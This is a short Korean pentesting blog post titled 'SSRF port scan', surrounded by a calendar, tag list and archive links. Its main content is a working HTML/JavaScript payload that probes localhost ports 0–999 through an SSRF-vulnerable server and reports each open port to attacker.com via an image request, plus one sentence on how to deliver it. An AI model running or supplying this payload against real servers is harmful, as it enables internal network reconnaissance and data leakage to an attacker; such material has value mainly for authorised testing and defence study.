| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | ||||
| 4 | 5 | 6 | 7 | 8 | 9 | 10 |
| 11 | 12 | 13 | 14 | 15 | 16 | 17 |
| 18 | 19 | 20 | 21 | 22 | 23 | 24 |
| 25 | 26 | 27 | 28 | 29 | 30 | 31 |
Tags
- 변태는
- mitmproxy
- 척추관협착증
- self-signed
- 네이버카페
- Malware Sample
- 채팅환전사기
- esbuild
- EC2
- cve-2025-55182
- Frida
- S3
- speed-measure-webpack-plugin
- 취약점
- 중고나라
- 모의해킹
- 많다..
- 안전결제
- XSS
- intelmac
- LFI
- aes
- AWS
- shell_gpt
- jeb_mcp
- ue4dumper
- react2shell
- 허리디스크
- Sequoia
- 내부확산
Archives
- Today
- Total
annyoung
SSRF port scan 본문
<html>
<head>
</head>
<body>
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}
for(let i=0; i<1000; i++) {
checkPort(i, false);
}
</script>
</body>
</html>
SSRF가 발생하는 서버에서 doucment.location.href나 url 파라미터에 넣어서 접속시키면 서버 로그에 /ping?port=?처럼 남는다.

'모의해킹' 카테고리의 다른 글
| XSS RCE (0) | 2023.01.30 |
|---|---|
| source map 파일 강제 연동 (0) | 2022.12.14 |
| js source map file (0) | 2022.12.02 |
| firebase exploit with firebase keys (0) | 2022.12.02 |
| 모의해킹 시 해시(hash)에 대해 (0) | 2022.11.22 |
Comments